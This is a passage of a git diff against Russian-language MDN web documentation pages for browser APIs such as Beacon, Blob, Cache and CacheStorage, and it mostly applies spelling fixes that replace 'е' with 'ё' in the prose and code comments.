Чтобы увидеть полную реализацию ознакомьтесь с нашим примером panner-node (просмотрите весь список примеров) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на бумбоксе и затем походить вокруг него и посмотреть как изменяется звук!
+
Чтобы увидеть полную реализацию ознакомьтесь с нашим примером panner-node (просмотрите весь список примеров) — эта демонстрация перенесёт вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на бумбоксе и затем походить вокруг него и посмотреть как изменяется звук!
 
diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html index 984c00117d..1e33abb3df 100644 --- a/files/ru/web/api/beacon_api/index.html +++ b/files/ru/web/api/beacon_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Beacon_API

Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.

-

Пример кода интерфейсов, описанных в этом документе, включен в раздел Использование Beacon API.

+

Пример кода интерфейсов, описанных в этом документе, включён в раздел Использование Beacon API.

@@ -23,11 +23,11 @@ translation_of: Web/API/Beacon_API

Интерфейс Beacon отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.

-

Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. 

+

Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создаёт синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. 

-

Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута src в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.

+

Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путём создания элемента Image и установки его атрибута src в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.

-

Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.

+

Эти методы представляют плохие шаблоны программирования, некоторые из них ненадёжны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.

Глобальный контекст

diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index a9359fddfe..ab241f8f1d 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/BeforeInstallPromptEvent
{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}
-
Создает новый BeforeInstallPromptEvent.
+
Создаёт новый BeforeInstallPromptEvent.

Свойства

diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html index b1ed2d7bc1..6969b073ff 100644 --- a/files/ru/web/api/blob/blob/index.html +++ b/files/ru/web/api/blob/blob/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Blob/Blob ---

{{APIRef("File API")}}

-

Конструктор Blob() возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре array.

+

Конструктор Blob() возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединённых значений, переданных в параметре array.

Синтаксис

diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html index a256ce6a5f..445e8da297 100644 --- a/files/ru/web/api/blob/index.html +++ b/files/ru/web/api/blob/index.html @@ -73,7 +73,7 @@ var myBlob = builder.getBlob('text/xml');

Создание URL для содержимого типизированного массива

-

Следующий код создает типизированный массив JavaScript и создает новый Blob, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.

+

Следующий код создаёт типизированный массив JavaScript и создаёт новый Blob, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.

HTML

@@ -84,7 +84,7 @@ var myBlob = builder.getBlob('text/xml');

JavaScript

-

Основной частью этого кода для примера является функция typedArrayToURL(), которая создает Blob из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).

+

Основной частью этого кода для примера является функция typedArrayToURL(), которая создаёт Blob из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).

function typedArrayToURL(typedArray, mimeType) {
   return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html
index f0e5eaf4df..384577a82c 100644
--- a/files/ru/web/api/blob/slice/index.html
+++ b/files/ru/web/api/blob/slice/index.html
@@ -17,9 +17,9 @@ translation_of: Web/API/Blob/slice
 
 
start {{optional_inline}}
-
Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение start, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.
+
Индекс в {{domxref("Blob")}} указывающий первый байт, включённый в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение start, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.
end {{optional_inline}}
-
Индекс в {{domxref("Blob")}} указывающий первый байт, который не будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно size.
+
Индекс в {{domxref("Blob")}} указывающий первый байт, который не будет включён в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включён). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно size.
contentType {{optional_inline}}
Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства type. Значение по умолчанию - пустая строка.
diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index f99ea7c5c1..3f5fad78b7 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer ---
{{APIRef("Bluetooth API")}}{{SeeCompatTable}}
-

Интерфейс BluetoothRemoteGATTServer, относящийся к Web Bluetooth API, представляет сервер GATT на удаленном устройстве.

+

Интерфейс BluetoothRemoteGATTServer, относящийся к Web Bluetooth API, представляет сервер GATT на удалённом устройстве.

Данная страница описывает Web Bluetooth API от W3C Community Group. BluetoothGattServer (Firefox OS) - Bluetooth API в Firefox OS.

diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html index 7aff670eb7..31402b8a22 100644 --- a/files/ru/web/api/body/arraybuffer/index.html +++ b/files/ru/web/api/body/arraybuffer/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Body/arrayBuffer ---
{{APIRef("Fetch")}}
-

Метод arrayBuffer() из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.

+

Метод arrayBuffer() из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершён с помощью {{domxref("ArrayBuffer")}}.

Синтаксис

@@ -32,9 +32,9 @@ translation_of: Web/API/Body/arrayBuffer
new Audio(music.ogg).play()
 
-

В функции getData() мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя arrayBuffer(), декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (source.buffer), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.

+

В функции getData() мы создаём новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя arrayBuffer(), декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (source.buffer), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.

-

Когда функция getData() заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией start(0), потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)

+

Когда функция getData() заканчивает своё выполнение, мы стартуем проигрывание аудио ресурса функцией start(0), потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)

function getData() {
   source = audioCtx.createBufferSource();
diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html
index 47b40dee49..76811b032b 100644
--- a/files/ru/web/api/body/json/index.html
+++ b/files/ru/web/api/body/json/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Body/json
 ---
 
{{APIRef("Fetch")}}
-

Метод json() , определен на миксине {{domxref("Body")}}, который включён в объектах Request и Response, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.

+

Метод json() , определён на миксине {{domxref("Body")}}, который включён в объектах Request и Response, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.

Синтаксис

@@ -27,7 +27,7 @@ translation_of: Web/API/Body/json

Пример

-

В нашем fetch json примере (запустите fetch json live), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения .json файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя json(), а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.

+

В нашем fetch json примере (запустите fetch json live), мы создаём новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения .json файла. Когда fetch запрос будет выполнен, мы прочтём и спарсим данные, используя json(), а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.

var myList = document.querySelector('ul');
 
@@ -64,7 +64,7 @@ fetch(myRequest)
 
 

Совместимость с браузерами

- +

{{Compat("api.Body.json")}}

diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html index b898960fe3..1f3a792ce0 100644 --- a/files/ru/web/api/broadcastchannel/index.html +++ b/files/ru/web/api/broadcastchannel/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel
{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
-
Создает объект, связанный с именованным каналом.
+
Создаёт объект, связанный с именованным каналом.

Свойства

@@ -27,7 +27,7 @@ translation_of: Web/API/BroadcastChannel

Обработчики событий

{{domxref("BroadcastChannel.onmessage")}}
-
{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.
+
{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдёт вызов события {{event("message")}} на этом объекте.
{{domxref("BroadcastChannel.onmessageerror")}}
{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.
diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index abbb139478..39bf32b534 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel/postMessage ---

{{APIRef("BroadCastChannel API")}}

-

BroadcastChannel.postMessage() отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому BroadcastChannel, привязанному к данному каналу.

+

BroadcastChannel.postMessage() отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передаётся в виде события {{event("message")}} к каждому BroadcastChannel, привязанному к данному каналу.

{{AvailableInWorkers}}

diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html index fd32f46b8c..ae88c76901 100644 --- a/files/ru/web/api/cache/add/index.html +++ b/files/ru/web/api/cache/add/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Cache/add

Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.

-

Замечание: add() перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.

+

Замечание: add() перезапишет любую пару ключ/значение, сохранённую ранее в кеше, соответствующем запросу.

Синтаксис

diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html index 094912bdeb..d72262f99d 100644 --- a/files/ru/web/api/cache/addall/index.html +++ b/files/ru/web/api/cache/addall/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Cache/addAll
-

Замечание: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.

+

Замечание: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа ещё формируется.

diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html index 5efa82b44a..846ccc2a0c 100644 --- a/files/ru/web/api/cache/delete/index.html +++ b/files/ru/web/api/cache/delete/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/Cache/delete
  • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении ключей. По умолчанию установлено в false.
  • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, если равно true, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
  • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, если равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
  • -
  • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом Cache.delete().
  • +
  • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом Cache.delete().
  • diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html index 53bfe013d4..dc5d273133 100644 --- a/files/ru/web/api/cache/index.html +++ b/files/ru/web/api/cache/index.html @@ -5,18 +5,18 @@ translation_of: Web/API/Cache ---

    {{APIRef("Service Workers API")}}{{SeeCompatTable}}

    -

    Интерфейс Cache представляет собой механизм хранения пары объектов Request / Response, которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.

    +

    Интерфейс Cache представляет собой механизм хранения пары объектов Request / Response, которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определён в их спецификации.

    -

    Для вызывающего скрипта может быть множество именованных объектов Cache. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением Cache. Записи в Cache не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект Cache и затем вызывайте любые методы Cache для управления его состоянием.

    +

    Для вызывающего скрипта может быть множество именованных объектов Cache. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением Cache. Записи в Cache не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечёт до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определённый именованный объект Cache и затем вызывайте любые методы Cache для управления его состоянием.

    -

    Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите Удаление старого кеша.

    +

    Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жёсткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите Удаление старого кеша.

    Замечание: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только GET запросов.

    -

    Замечание: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.

    +

    Замечание: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все ещё загружается в потоке.

    @@ -47,7 +47,7 @@ translation_of: Web/API/Cache
    {{domxref("Cache.delete", "Cache.delete(request, options)")}}
    Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае нахождения, удаляет запись {{domxref("Cache")}}  и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением true. Если же запись  {{domxref("Cache")}} не найдена, возвращается false.
    {{domxref("Cache.keys", "Cache.keys(request, options)")}}
    -
    Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.
    +
    Возвращает {{jsxref("Promise")}}, который отдаёт массив ключей {{domxref("Cache")}}.

    Примеры

    @@ -56,9 +56,9 @@ translation_of: Web/API/Cache

    Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.

    -

    Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.

    +

    Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращён нормальный объект ответа с установленным соответствующим кодом ошибки.

    -

    Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя CURRENT_CACHES.

    +

    Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращённый идентификатор кеша с определённым, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя CURRENT_CACHES.

    В примере кода "кеш" это атрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к CacheStorage  API.

    @@ -66,7 +66,7 @@ translation_of: Web/API/Cache
    var CACHE_VERSION = 1;
     
    -// Сокращенный идентификатор привязанный к определенной версии кеша.
    +// Сокращённый идентификатор привязанный к определённой версии кеша.
     var CURRENT_CACHES = {
       font: 'font-cache-v' + CACHE_VERSION
     };
    diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html
    index 0ae385d424..aa09fb7642 100644
    --- a/files/ru/web/api/cache/keys/index.html
    +++ b/files/ru/web/api/cache/keys/index.html
    @@ -28,14 +28,14 @@ translation_of: Web/API/Cache/keys
     
     
    request {{optional_inline}}
    -
    {{domxref("Request")}} который будет возвращен, если найден указанный ключ.
    +
    {{domxref("Request")}} который будет возвращён, если найден указанный ключ.
    options {{optional_inline}}
    Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции keys. Допустимые параметры:
    • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении. По умолчанию установлено в false.
    • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
    • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
    • -
    • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом Cache.keys().
    • +
    • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом Cache.keys().
    diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html index a487987497..ae0b0783bd 100644 --- a/files/ru/web/api/cache/match/index.html +++ b/files/ru/web/api/cache/match/index.html @@ -28,12 +28,12 @@ translation_of: Web/API/Cache/match
    request
    Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.
    options {{optional_inline}}
    -
    Объект, который задает параметры для операции match. Допустимые значения: +
    Объект, который задаёт параметры для операции match. Допустимые значения:
    • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url.  Например, если оно установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при поиске соответствий ключа. По умолчанию равно false.
    • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку http метода для запроса  {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь GET и HEAD). По умолчанию равно false.
    • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда установлено в true, указывает операции сопоставления ключа не проводить проверку соответствия заголовка VARY — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок VARY. По умолчанию равно false.
    • -
    • cacheName: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом  Cache.match().
    • +
    • cacheName: Строка {{domxref("DOMString")}}, задающая определённый кеш для поиска. Заметьте, что этот параметр игнорируется методом  Cache.match().

    В Chrome поддерживается лишь cacheName.

    diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html index 49d37cd9cd..98471205c0 100644 --- a/files/ru/web/api/cachestorage/index.html +++ b/files/ru/web/api/cachestorage/index.html @@ -15,36 +15,36 @@ translation_of: Web/API/CacheStorage ---

    {{APIRef("Service Workers API")}}{{SeeCompatTable}}

    -

    Интерфейс CacheStorage представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.

    +

    Интерфейс CacheStorage представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имён соответствующих объектов {{domxref("Cache")}}.

    CacheStorage также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом CacheStorage.

    Вы можете получить доступ к CacheStorage через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.

    -
    Заметка: CacheStorage всегда возвращает отказ с SecurityError для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.
    +
    Заметка: CacheStorage всегда возвращает отказ с SecurityError для ненадёжных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.
    -
    Заметка: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.
    +
    Заметка: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путём открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.

    Методы

    {{domxref("CacheStorage.match()")}}
    -
    Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.
    +
    Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдёт совпадение.
    {{domxref("CacheStorage.has()")}}
    -
